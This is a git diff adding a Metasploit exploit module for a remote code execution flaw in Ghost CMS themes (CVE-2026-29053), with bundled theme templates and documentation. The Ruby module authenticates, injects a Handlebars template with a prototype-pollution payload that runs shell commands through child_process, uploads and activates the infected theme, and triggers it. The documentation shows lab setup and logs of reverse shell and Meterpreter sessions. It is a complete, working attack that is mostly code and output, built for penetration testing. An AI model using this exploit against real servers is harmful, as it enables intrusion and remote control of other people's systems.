Error(e)}}(t).then((e=>{let{posts:o,nextLink:n}=e;o.forEach((e=>{document.querySelector(".gh-postfeed").append(e)})),n?(t=n,r.observe(document.querySelector(".post:last-of-type"))):r.disconnect()}))}))}catch(e){console.log(e)}}),{rootMargin:"150px"}).observe(document.querySelector(".post:last-of-type"))}()}(); +//# sourceMappingURL=index.js.map diff --git a/data/exploits/CVE-2026-29053/theme/author.hbs b/data/exploits/CVE-2026-29053/theme/author.hbs new file mode 100644 index 0000000000000..7bfb25913dbe2 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/author.hbs @@ -0,0 +1,46 @@ +{{!< default}} + +
+
+ + {{#author}} +
+ {{#if profile_image}} + {{name}} + {{/if}} + +

{{name}}

+ {{#if bio}} +

{{bio}}

+ {{/if}} + +
+ +
+ + {{#if cover_image}} + {{name}} + {{/if}} +
+ {{/author}} + +
+ {{#foreach posts}} + + {{> "card"}} {{!-- partials/card.hbs --}} + + {{/foreach}} +
+ +
+
diff --git a/data/exploits/CVE-2026-29053/theme/default.hbs b/data/exploits/CVE-2026-29053/theme/default.hbs new file mode 100644 index 0000000000000..ed3e5a55e6d66 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/default.hbs @@ -0,0 +1,79 @@ + + + + + + + + + + {{meta_title}} + + {{ghost_head}} + {{!-- Outputs important meta data and settings, should always be in --}} + + + +
+ +
+ +
+ +
+ + {{{body}}} + {{!-- All content gets inserted here, index.hbs, post.hbs, etc --}} + +
+ +
+
+
+ {{navigation type="secondary"}} +
+
+ Published with Ghost +
+
+
+ +
+ +{{!-- --}} +{{ghost_foot}} +{{!-- Outputs important scripts - should always be included before closing body tag --}} + + + diff --git a/data/exploits/CVE-2026-29053/theme/error.hbs b/data/exploits/CVE-2026-29053/theme/error.hbs new file mode 100644 index 0000000000000..eb8643ca15a2d --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/error.hbs @@ -0,0 +1,108 @@ + + + + + + + + + + {{meta_title}} + + {{ghost_head}} + {{!-- Outputs important meta data and settings, should always be in --}} + + + + +
+ +
+ +
+ +
+ +
+
+ +
+ +

{{statusCode}}

+

{{message}}

+ + + {{#if errorDetails}} +
+

Theme errors:

+
    + {{#foreach errorDetails}} +
  • +
    {{{rule}}}
    + + {{#foreach failures}} + Ref: {{ref}}
    + Message: {{message}} + {{/foreach}} +
  • + {{/foreach}} +
+
+ {{/if}} + +
+ +
+
+ +
+ +
+
+
+ {{navigation type="secondary"}} +
+
+ Published with Ghost +
+
+
+ +
+ +{{!-- --}} +{{ghost_foot}} +{{!-- Outputs important scripts - should always be included before closing body tag --}} + + + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/index.hbs b/data/exploits/CVE-2026-29053/theme/index.hbs new file mode 100644 index 0000000000000..20f7992d99e66 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/index.hbs @@ -0,0 +1,20 @@ +{{!< default}} +
+
+ +
+ {{#foreach posts}} + + {{> "card" page=../pagination.page }} {{!-- partials/card.hbs --}} + + {{/foreach}} +
+ + {{!-- If JS isn't enabled, fallback to standard pagination --}} + +
+
diff --git a/data/exploits/CVE-2026-29053/theme/members/account.hbs b/data/exploits/CVE-2026-29053/theme/members/account.hbs new file mode 100644 index 0000000000000..37494ed14fdd6 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/members/account.hbs @@ -0,0 +1,35 @@ +{{!< ../default}} + +
+
+ + {{#if @member.paid}} + + {{!-- Logged in, paying member: Show account info --}} + + + {{else if @member}} + + {{!-- Logged in, not paying: Link to checkout --}} + + + {{else}} + + {{!-- Not logged in: Redirect to signin --}} + + + {{/if}} + +
+
diff --git a/data/exploits/CVE-2026-29053/theme/members/signin.hbs b/data/exploits/CVE-2026-29053/theme/members/signin.hbs new file mode 100644 index 0000000000000..17bb9ab23c197 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/members/signin.hbs @@ -0,0 +1,32 @@ +{{!< ../default}} + +
+
+ + {{#if @member}} + + {{!-- Logged in: Redirect home --}} + + + {{else}} + + {{!-- Not logged in: Signin form --}} +
+

Welcome back!

+

Sign into your account again for full access

+
+ + +
+

Don't have an account yet? Sign up

+
Great! Check your inbox and click the link to complete signin
+
Please enter a valid email address!
+
+ + {{/if}} + +
+
diff --git a/data/exploits/CVE-2026-29053/theme/members/signup.hbs b/data/exploits/CVE-2026-29053/theme/members/signup.hbs new file mode 100644 index 0000000000000..548973c5693a6 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/members/signup.hbs @@ -0,0 +1,76 @@ +{{!< ../default}}
+
+ + {{#if @member.paid}} + + {{!-- Logged in, paying member: Redirect home --}} + + + {{else if @member}} + + {{!-- Logged in, not paying: Check out --}} +
+

Choose your subscription

+

Unlock full access to {{@site.title}} and see the entire library of members-only content & updates

+
+ {{#get "tiers" include="monthly_price, yearly_price" limit="all" as |tiers|}} + {{#foreach tiers}} +
+
+

{{name}}

+ {{#if monthly_price}} + ${{monthly_price}} / month + {{/if}} + {{#if yearly_price}} + ${{yearly_price}} / year + {{/if}} +
+
+ {{#if benefits}} +
    + {{#foreach benefits as |benefit|}} +
  • {{benefit}}
  • + {{/foreach}} +
+ {{/if}} + + + {{#if monthly_price}} + Choose this + plan + {{/if}} + {{#if yearly_price}} + Choose this + plan + {{/if}} +
+
+ {{/foreach}} + {{/get}} +
+
+ + {{else}} + + {{!-- Not logged in: Sign up --}} +
+

Signup to {{@site.title}}

+

{{@site.description}}

+
+ + +
+

Already have an account? Sign in

+
Great! Check your inbox and click the link to confirm your + subscription
+
Please enter a valid email address!
+
+ + {{/if}} + +
+
\ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/page.hbs b/data/exploits/CVE-2026-29053/theme/page.hbs new file mode 100644 index 0000000000000..651aec1f00477 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/page.hbs @@ -0,0 +1,29 @@ +{{!< default}} + +{{#post}} +
+ {{#match @page.show_title_and_feature_image}} +
+

{{title}}

+ + {{#if custom_excerpt}} +

{{custom_excerpt}}

+ {{/if}} + + {{#if feature_image}} +
+ {{#if feature_image_alt}}{{feature_image_alt}}{{else}}{{title}}{{/if}} + {{#if feature_image_caption}} +
{{feature_image_caption}}
+ {{/if}} +
+ {{/if}} +
+ {{/match}} + +
+ {{content}} +
+ +
+{{/post}} diff --git a/data/exploits/CVE-2026-29053/theme/partials/card.hbs b/data/exploits/CVE-2026-29053/theme/partials/card.hbs new file mode 100644 index 0000000000000..1f2bbfd72af89 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/card.hbs @@ -0,0 +1,57 @@ +{{!-- +Re-usable card for linking to posts +--}} + + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-left.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-left.hbs new file mode 100644 index 0000000000000..4965e49364d96 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-left.hbs @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-right.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-right.hbs new file mode 100644 index 0000000000000..effced2cbb672 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/arrow-right.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/avatar.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/avatar.hbs new file mode 100644 index 0000000000000..af37fca396785 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/avatar.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/facebook.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/facebook.hbs new file mode 100644 index 0000000000000..4bffd15178064 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/facebook.hbs @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/loader.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/loader.hbs new file mode 100644 index 0000000000000..4a7f2cd36170c --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/loader.hbs @@ -0,0 +1,11 @@ + + + + + + \ No newline at end of file diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/rss.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/rss.hbs new file mode 100644 index 0000000000000..b3bf27a12e6e4 --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/rss.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/partials/icons/twitter.hbs b/data/exploits/CVE-2026-29053/theme/partials/icons/twitter.hbs new file mode 100644 index 0000000000000..19de4afd9029c --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/partials/icons/twitter.hbs @@ -0,0 +1 @@ + diff --git a/data/exploits/CVE-2026-29053/theme/post.hbs b/data/exploits/CVE-2026-29053/theme/post.hbs new file mode 100644 index 0000000000000..26e95dffa064c --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/post.hbs @@ -0,0 +1,93 @@ +{{!< default}} + +{{#post}} + +
+ +
+ +

{{title}}

+ + {{#if custom_excerpt}} +

{{custom_excerpt}}

+ {{/if}} + + {{#if feature_image}} +
+ + + + {{#if feature_image_alt}}{{feature_image_alt}}{{else}}{{title}}{{/if}} + + {{#if feature_image_caption}} +
{{feature_image_caption}}
+ {{/if}} +
+ {{/if}} +
+ +
+ {{content}} +
+ +
+ + + + {{#if comments}} +
+ {{comments}} +
+ {{/if}} + +
+ +
+ + + +{{/post}} diff --git a/data/exploits/CVE-2026-29053/theme/tag.hbs b/data/exploits/CVE-2026-29053/theme/tag.hbs new file mode 100644 index 0000000000000..b3a61092bc60a --- /dev/null +++ b/data/exploits/CVE-2026-29053/theme/tag.hbs @@ -0,0 +1,35 @@ +{{!< default}} + +
+
+ + {{#tag}} +
+ +

{{name}}

+ +

+ {{#if description}} + {{description}} + {{else}} + A collection of {{plural ../pagination.total empty='posts' singular='% post' plural='% posts'}} + {{/if}} +

+ + {{#if feature_image}} + {{name}} + {{/if}} + +
+ {{/tag}} + +
+ {{#foreach posts}} + + {{> "card"}} {{!-- partials/card.hbs --}} + + {{/foreach}} +
+ +
+
diff --git a/documentation/modules/exploit/multi/http/ghostcms_cve_2026_29053.md b/documentation/modules/exploit/multi/http/ghostcms_cve_2026_29053.md new file mode 100644 index 0000000000000..9a8cf2283420c --- /dev/null +++ b/documentation/modules/exploit/multi/http/ghostcms_cve_2026_29053.md @@ -0,0 +1,186 @@ +## Vulnerable Application + +This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS. +Specifically crafted malicious themes can execute arbitrary code on the server running Ghost. + +## About authentication + +There are two types of authentication: +1. Using USERNAME and PASSWORD +2. Using ADMIN_API_KEY_ID and ADMIN_API_KEY_SECRET + +The second option is worse, because the API does not provide endpoints to list or delete themes. +As a result, when a script uploads its own theme, it cannot revert back to the default one automatically. + +## Testing + +### Linux + +1. Open the directory with docker-compose.yml +``` +cd data/exploits/CVE-2026-29053/lab/ +``` + +2. Set up the mail section (you can use https://mailtrap.io/) +``` + "mail": { + "transport": "SMTP", + "options": { + "host": "", + "port": 587, + "auth": { + "user": "", + "pass": "" + } + } + } +``` + +3. Set up the security section (true = login with 2FA, false = without) +``` +"security": { + "staffDeviceVerification": +} +``` + +4. Run Docker Compose +``` +docker compose up +``` + +5. Open the setup URL in your browser and complete the installation +``` +http://localhost:2368/ghost/ +``` + +Tip: In the default configuration, 2FA is disabled, so you can skip steps #2-#3. + +### Windows + +1. Go to https://github.com/coreybutler/nvm-windows and download the latest release + +2. Install Node.js +``` +nvm install 22 +nvm use 22 +``` + +3. Install Ghost CLI +``` +npm install ghost-cli@latest -g +``` + +4. Create a new folder, open it, and install Ghost +``` +ghost install 6.16.1 --local --db sqlite3 +``` + +5. Install sqlite3 +``` +npm install sqlite3 --save +``` + +6. Start Ghost +``` +ghost start +``` + +6. Configure all interfaces +``` +ghost config set server.host 0.0.0.0 +``` + +7. Restart Ghost +``` +ghost restart +``` + +## Scenario + +### Linux + +``` +msf6 > use multi/http/ghostcms_cve_2026_29053 +[*] No payload configured, defaulting to cmd/unix/reverse_nodejs +msf exploit(multi/http/ghostcms_cve_2026_29053) > set RHOSTS 127.0.0.1 +RHOSTS => 127.0.0.1 +msf exploit(multi/http/ghostcms_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_cve_2026_29053) > set LHOST 172.17.0.1 +LHOST => 172.17.0.1 +msf exploit(multi/http/ghostcms_cve_2026_29053) > set USERNAME test@gmail.com +USERNAME => test@gmail.com +msf exploit(multi/http/ghostcms_cve_2026_29053) > set PASSWORD 16pm1ewtya +PASSWORD => 16pm1ewtya +msf exploit(multi/http/ghostcms_cve_2026_29053) > run +[*] Started reverse TCP handler on 172.17.0.1:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[+] The target appears to be vulnerable. +[*] Authenticating via session (user: test@gmail.com)... +[!] Ghost CMS requires a 6-digit verification code from your email. +[*] Enter the 6-digit verification code: 738757 +[*] Verifying session with code: 738757... +[+] 2FA verification successful! Session established. +[+] Authentication successful! +[*] Downloading active theme 'source' from server... +[*] Injecting payload into: page-fltyuvdvtgcgi.hbs +[*] Uploading infected theme: wfnlfezetpeeoggx +[*] Triggering payload... +[*] Command shell session 1 opened (172.17.0.1:4444 -> 172.18.0.3:48654) at 2026-04-04 19:16:26 -0400 +whoami +node +cat /etc/os-release +PRETTY_NAME="Debian GNU/Linux 12 (bookworm)" +NAME="Debian GNU/Linux" +VERSION_ID="12" +VERSION="12 (bookworm)" +VERSION_CODENAME=bookworm +ID=debian +HOME_URL="https://www.debian.org/" +SUPPORT_URL="https://www.debian.org/support" +BUG_REPORT_URL="https://bugs.debian.org/" +``` + +### Windows + +``` +msf > use multi/http/ghostcms_cve_2026_29053 +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_cve_2026_29053) > set payload cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +msf exploit(multi/http/ghostcms_cve_2026_29053) > set RHOSTS 192.168.19.148 +RHOSTS => 192.168.19.148 +msf exploit(multi/http/ghostcms_cve_2026_29053) > set RPORT 2368 +RPORT => 2368 +msf exploit(multi/http/ghostcms_cve_2026_29053) > set USERNAME test@gmail.com +USERNAME => test@gmail.com +msf exploit(multi/http/ghostcms_cve_2026_29053) > set PASSWORD 16pm1ewtya +PASSWORD => 16pm1ewtya +msf exploit(multi/http/ghostcms_cve_2026_29053) > set target 1 +target => 1 +msf exploit(multi/http/ghostcms_cve_2026_29053) > run +[*] Started reverse TCP handler on 192.168.19.130:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Sending stage (232006 bytes) to 192.168.19.148 +[+] The target appears to be vulnerable. +[*] Authenticating via session (user: test@gmail.com)... +[+] Session established via password. +[+] Authentication successful! +[*] Downloading active theme 'esnraytnjot' from server... +[*] Injecting payload into: author-john.hbs +[*] Uploading infected theme: fcffvppatcvqkzf +[*] Triggering payload... +[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.148:53278) at 2026-04-04 13:22:38 -0400 + +meterpreter > sysinfo +Computer : DESKTOP-vognik +OS : Windows 10 21H2. +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +meterpreter > getuid +Server username: DESKTOP-vognik\vognik +meterpreter > +``` \ No newline at end of file diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index dc2c567e61247..04a6224e00258 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -158,6 +158,7 @@ Gem::Specification.new do |spec| spec.add_runtime_dependency 'net-sftp' spec.add_runtime_dependency 'winrm' spec.add_runtime_dependency 'ffi', '< 1.17.0' + spec.add_runtime_dependency 'jwt' # Needed by modules/exploits/multi/http/ghostcms_cve_2026_29053 module # # REX Libraries diff --git a/modules/exploits/multi/http/ghostcms_cve_2026_29053.rb b/modules/exploits/multi/http/ghostcms_cve_2026_29053.rb new file mode 100644 index 0000000000000..9a435f41d47bf --- /dev/null +++ b/modules/exploits/multi/http/ghostcms_cve_2026_29053.rb @@ -0,0 +1,467 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'zip' +require 'jwt' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + prepend Msf::Exploit::Remote::AutoCheck + + VECTORS = { + tag: { + template_name: 'tag-{{SLUG}}.hbs', + creator: :create_post, + trigger: :get_tag, + cleaner: :delete_post + }, + page: { + template_name: 'page-{{SLUG}}.hbs', + creator: :create_page, + trigger: :get_page, + cleaner: :delete_page + }, + author: { + template_name: 'author-{{SLUG}}.hbs', + creator: :pick_random_author, + trigger: :get_author_by_slug, + cleaner: nil + } + }.freeze + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Ghost CMS Remote Code Execution', + 'Description' => %q{ + This module exploits a Remote Code Execution (RCE) vulnerability in Ghost CMS. + Specifically crafted malicious themes can execute arbitrary code on the server running Ghost. + + The affected versions include all releases from 3.24.0 up to and including 6.19.0. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Maksim Rogov', # Metasploit Module + 'Cristian-Alexandru Staicu' # Vulnerability Discovery + ], + 'References' => [ + ['CVE', '2026-29053'], + ['URL', 'https://nvd.nist.gov/vuln/detail/CVE-2026-29053'], + ['URL', 'https://github.com/TryGhost/Ghost/security/advisories/GHSA-cgc2-rcrh-qr5x'], + ['URL', 'https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x'] + ], + 'Platform' => ['multi'], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + 'Ghost >= 3.24.0, <= 6.19.0 / Unix payload', + { + 'Platform' => ['unix', 'linux'], + 'Payload' => { + 'Encoder' => 'cmd/base64' + } + # Tested with cmd/unix/reverse_bash + # Tested with cmd/unix/reverse_nodejs + } + ], + [ + 'Ghost >= 3.24.0, <= 6.19.0 / Windows payload', + { + 'Platform' => ['windows'], + 'Payload' => { + 'Encoder' => 'cmd/powershell_base64' + } + # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp + } + ] + ], + 'Payload' => { + 'BadChars' => '&\'"' + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => '2026-03-02', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [REPEATABLE_SESSION] + } + ) + ) + + register_options( + [ + OptString.new('TARGETURI', [true, 'Path to the Ghost CMS App', '/']), + OptString.new('USERNAME', [ false, 'The username to authenticate as']), + OptString.new('PASSWORD', [ false, 'The password for the specified username']), + OptString.new('ADMIN_API_KEY_ID', [ false, 'The ID of the Admin API key']), + OptString.new('ADMIN_API_SECRET', [ false, 'The secret associated with the Admin API key']) + ] + ) + end + + def ghost_request_cgi(method, endpoint, data: nil, params: nil, ctype: 'application/json') + headers = {} + headers['Authorization'] = "Ghost #{@jwt_token}" if @jwt_token + + request_data = (ctype == 'application/json' && data.is_a?(Hash)) ? data.to_json : data + res = send_request_cgi({ + 'method' => method, + 'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', endpoint), + 'headers' => headers, + 'ctype' => ctype, + 'vars_get' => params, + 'data' => request_data, + 'keep_cookies' => true + }) + + if res.nil? + print_error("Connection failed during #{method} to #{endpoint}") + return nil + end + + res + end + + def create_post(title, slug, tags = nil) + res = ghost_request_cgi('POST', 'posts/', data: { + posts: [ + { + title: title, + slug: slug, + tags: tags, + status: 'published', + visibility: 'public' + } + ] + }) + res&.get_json_document&.dig('posts', 0, 'id') + end + + def create_page(title, slug, *_args) + res = ghost_request_cgi('POST', 'pages/', data: { + pages: [ + { + title: title, + slug: slug, + status: 'published', + visibility: 'public' + } + ] + }) + res&.get_json_document&.dig('pages', 0, 'id') + end + + def get_themes + res = send_request_cgi( + 'uri' => normalize_uri(target_uri.path, 'ghost', 'api', 'admin', 'themes/'), + 'method' => 'GET' + ) + + unless res&.code == 200 + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Failed (HTTP #{res&.code})") + end + + json_body = res&.get_json_document + return json_body['themes'] + end + + def create_rex_archive(binary_archive) + zip = Rex::Zip::Archive.new + + Zip::File.open_buffer(binary_archive) do |z| + z.each do |f| + zip.entries << Rex::Zip::Entry.new( + f.name, + (f.ftype == :file ? z.read(f) : ''), + Rex::Zip::CM_DEFLATE, + nil, + (Rex::Zip::EFA_ISDIR if f.ftype == :directory) + ) + end + end + + zip + end + + def download_theme(name) + res = ghost_request_cgi('GET', "themes/#{name}/download/") + res.body + end + + def upload_theme(theme_name, zip_binary) + mime = Rex::MIME::Message.new + mime.add_part(zip_binary, 'application/zip', 'binary', "form-data; name=\"file\"; filename=\"#{theme_name}.zip\"") + + ghost_request_cgi('POST', 'themes/upload/', + data: mime.to_s, + ctype: "multipart/form-data; boundary=#{mime.bound}") + end + + def get_malicious_template + # global.b prevents multiple concurrent executions using a global lock + js_payload = "return global.b?0:(global.b=1,process.mainModule.require('child_process').exec(`#{payload.encoded}`,{detached:1},()=>setTimeout(()=>global.b=0,60000)))" + [ + '{{!< default}}', + "{{#get \"posts\" filter=\"tags:{{@site[?( ({__proto__:\\\"\\\".toString})[\\\"constructor\\\"](\\\"#{js_payload}\\\")() )]}}\" limit=\"1\"}}", + '{{/get}}' + ].join("\n") + end + + def delete_theme(_name) + ghost_request_cgi('DELETE', "themes/#{@malicious_theme_name}/") + end + + def get_users + res = ghost_request_cgi('GET', 'users/') + res&.get_json_document&.dig('users') + end + + def delete_post(post_id) + ghost_request_cgi('DELETE', "posts/#{post_id}/") + end + + def delete_page(page_id) + ghost_request_cgi('DELETE', "pages/#{page_id}/") + end + + def do_login + print_status("Authenticating via session (user: #{datastore['USERNAME']})...") + res = ghost_request_cgi('POST', 'session', data: { + username: datastore['USERNAME'], + password: datastore['PASSWORD'] + }) + + if res&.code == 201 + print_good('Session established via password.') + return true + + elsif res&.body =~ /2FA_NEW_DEVICE_DETECTED/ + print_warning('Ghost CMS requires a 6-digit verification code from your email.') + + verification_code = '' + loop do + $stdout.print '[*] Enter the 6-digit verification code: ' + verification_code = $stdin.gets.to_s.strip + break if verification_code =~ /^\d{6}$/ + + print_error('Invalid format. Please enter exactly 6 digits.') + end + + print_status("Verifying session with code: #{verification_code}...") + res_verify = ghost_request_cgi('PUT', 'session/verify', data: { + token: verification_code + }) + + if res_verify&.code == 201 || res_verify&.code == 200 + print_good('2FA verification successful! Session established.') + return true + else + print_error("Verification failed. Server responded with: #{res_verify&.code}") + return false + end + end + + print_error("Login failed! Response code: #{res&.code}") + false + end + + def build_archive_from_directory(directory_path) + archive = Rex::Zip::Archive.new + + Dir.glob(File.join(directory_path, '**', '*')).each do |path| + relative_path = path.sub("#{directory_path}/", '') + + if File.file?(path) + archive.add_file(relative_path, File.read(path)) + elsif File.directory?(path) + archive.add_file(relative_path, nil, recursive: true) + end + end + + archive + end + + def get_active_theme + res = ghost_request_cgi('GET', 'themes/active/') + res&.get_json_document&.dig('themes', 0) + end + + def prepare_base_theme + if @jwt_token + print_status('Using local template theme for JWT-based attack...') + theme_path = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2026-29053', 'theme') + + build_archive_from_directory(theme_path) + else + active_theme = get_active_theme['name'] + fail_with(Failure::UnexpectedReply, 'Could not retrieve active theme info') if active_theme.nil? + + print_status("Downloading active theme '#{active_theme}' from server...") + theme_data = download_theme(active_theme) + if theme_data.nil? || theme_data.empty? + fail_with(Failure::UnexpectedReply, "Failed to download theme: #{active_theme}") + end + + create_rex_archive(theme_data) + end + end + + def activate_theme(theme_name) + ghost_request_cgi('PUT', "themes/#{theme_name}/activate/") + end + + def inject_payload(base_archive, template_pattern, slug) + target_filename = template_pattern.gsub('{{SLUG}}', slug) + + payload_content = get_malicious_template + + print_status("Injecting payload into: #{target_filename}") + base_archive.add_file(target_filename, payload_content) + base_archive.pack + end + + def pick_random_author(*_args) + get_users.sample['slug'] + end + + def get_author_by_slug(slug) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => "/author/#{slug}/" + ) + unless res&.code == 200 + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") + end + end + + def get_page(slug) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => "/#{slug}/" + ) + unless res&.code == 200 + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") + end + end + + def get_tag(slug) + res = send_request_cgi( + 'method' => 'GET', + 'uri' => "/tag/#{slug}/" + ) + unless res&.code == 200 + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") + end + res&.get_json_document&.dig('posts') + end + + def issue_jwt(key_id, secret) + iat = Time.now.to_i + payload = { + iat: iat, + exp: iat + 300, + aud: '/admin/' + } + secret_bytes = [secret].pack('H*') + JWT.encode( + payload, + secret_bytes, + 'HS256', + { kid: key_id } + ) + end + + def auth + auth_success = false + + if datastore['USERNAME'].present? && datastore['PASSWORD'].present? + auth_success = do_login + + elsif datastore['ADMIN_API_KEY_ID'].present? && datastore['ADMIN_API_SECRET'].present? + print_status('API credentials found. Generating JWT...') + @jwt_token = issue_jwt(datastore['ADMIN_API_KEY_ID'], datastore['ADMIN_API_SECRET']) + auth_success = @jwt_token.present? + + else + fail_with(Failure::BadConfig, 'Missing credentials: Set either USERNAME/PASSWORD or ADMIN_API_KEY_ID/ADMIN_API_SECRET') + end + + unless auth_success + fail_with(Failure::NoAccess, 'Authentication failed: Unable to establish a session or generate a valid JWT') + end + + print_good('Authentication successful!') + end + + def check + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + ) + + unless res&.code == 200 + fail_with(Msf::Module::Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response: status #{res&.code}") + end + + html = res&.get_html_document + ghost_tag = html.at('meta[name="generator"][content^="Ghost"]') + version = Rex::Version.new(ghost_tag['content'].split(' ')[1]) + + if Rex::Version.new(version).between?(Rex::Version.new('3.24.0'), Rex::Version.new('6.19.0')) + return CheckCode::Appears + end + + return CheckCode::Safe + end + + def cleanup + if @default_theme && @malicious_theme_name + print_status('Reverting to default theme...') + activate_theme(@default_theme) + + print_status('Removing malicious theme and content...') + delete_theme(@malicious_theme_name) if @malicious_theme_name + end + + if @content_id && @vector && @vector[:cleaner] + send(@vector[:cleaner], @content_id) + end + + super + end + + def exploit + auth + + @vector_key = VECTORS.keys.sample + @vector = VECTORS[@vector_key] + + if @vector_key == :author + @trigger_slug = send(@vector[:creator]) + else + @trigger_slug = Rex::Text.rand_text_alpha_lower(4..16) + @content_id = send(@vector[:creator], @trigger_slug, @trigger_slug, [@trigger_slug]) + end + + @malicious_theme_name = Rex::Text.rand_text_alpha_lower(4..16) + + base_archive = prepare_base_theme + if base_archive.nil? + fail_with(Failure::BadConfig, 'Base archive could not be initialized') + end + + infected_zip = inject_payload(base_archive, @vector[:template_name], @trigger_slug) + print_status("Uploading infected theme: #{@malicious_theme_name}") + upload_theme(@malicious_theme_name, infected_zip) + activate_theme(@malicious_theme_name) + + print_status('Triggering payload...') + send(@vector[:trigger], @trigger_slug) + end + +end